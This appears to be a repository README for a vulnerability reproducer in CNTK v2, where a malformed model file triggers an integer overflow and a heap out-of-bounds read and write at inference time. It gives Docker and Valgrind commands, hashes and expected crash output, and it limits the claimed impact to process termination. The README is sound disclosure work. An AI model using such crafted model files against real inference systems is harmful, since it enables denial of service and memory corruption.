YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
CNTK v2 NDShape overflow reproduction
This repository contains a minimal reproducer for a CNTK v2 model-deserialization integer overflow that becomes an inference-time heap out-of-bounds read/write. Run it only inside the supplied isolated CPU container.
Files
poc_v2_transpose_shape_wrap.model— 754-byte malformed CNTK v2 modelcontrol_v2_transpose.model— 738-byte benign control with the same four-float payload countrepro.py— publiccntk.Function.load()andFunction.eval()driverDockerfile.cntk27— Ubuntu 16.04 / Python 3.5 / PyPIcntk==2.7.post2clean_repro_2026-07-12.log— clean build/run evidencevalgrind_poc_decisive.log— focused post-phase=evalmemory-error evidencevalgrind_poc_full.log— complete captured Memcheck output
SHA-256:
2D604FD11B055168566811B5EE163C2A56953FC3592314EC23CD3FF82D89DE48 poc_v2_transpose_shape_wrap.model
DE4BC16407C18365674E1EA55029B3C8F7C20714117B32E4A563BA010A6DE2D7 control_v2_transpose.model
A4A37524CCF96395447E498B6C995BCA43DA3835AB4B9FDA0487A3F0828E07FD valgrind_poc_decisive.log
A5255C567079EF92FF80145218602122BC448D83CA7A8A0B3CC563E0ADDD2CB6 valgrind_poc_full.log
Reproduce
From this directory:
docker build -f Dockerfile.cntk27 -t cntk27-poc .
# Control: exits 0 after phase=evaluated.
docker run --rm -v "$PWD:/work:ro" cntk27-poc \
python3 /work/repro.py /work/control_v2_transpose.model --eval
# PoC: Function.load succeeds; eval terminates with SIGSEGV (139).
docker create --name cntk-shape-poc --memory=256m \
-v "$PWD:/work:ro" cntk27-poc \
python3 /work/repro.py /work/poc_v2_transpose_shape_wrap.model --eval
docker start -a cntk-shape-poc
docker inspect --format '{{json .State}}' cntk-shape-poc
docker rm cntk-shape-poc
Expected control tail:
phase=eval
phase=evaluated keys=1
Expected PoC tail/state:
phase=loaded args=[] outputs=[('transpose', (1, 2, 2))]
phase=eval
"OOMKilled":false
"ExitCode":139
Memcheck records an invalid write and invalid read of four bytes, both exactly
after separate 16-byte CNTK allocations. See valgrind_poc_decisive.log for
the focused stacks and valgrind_poc_full.log for the unedited output.
To rerun Memcheck from the supplied image (allow at least 2 GiB):
docker run --rm --memory=2g -v "$PWD:/work:ro" cntk27-poc bash -lc '
apt-get update -qq >/dev/null &&
DEBIAN_FRONTEND=noninteractive apt-get install -y -qq valgrind >/dev/null &&
exec valgrind --tool=memcheck --leak-check=no --error-limit=no \
--num-callers=40 --log-fd=1 \
python3 /work/repro.py /work/poc_v2_transpose_shape_wrap.model --eval
' > valgrind_reproduced.log 2>&1
The command exits non-zero after the fault. Search the log for Invalid write of size 4, Invalid read of size 4, block of size 16, and the final signal-11
record. Use the named uninstrumented run—not the Valgrind wrapper exit status—for
the OOMKilled=false check.
Demonstrated impact: CWE-190 leading to CWE-125/CWE-787 and process termination. Remote code execution, a controlled arbitrary write, and reliable information disclosure were not demonstrated and are not claimed.
The exact PoC was validated on x86-64 with a 64-bit size_t; 32-bit builds were
not assessed.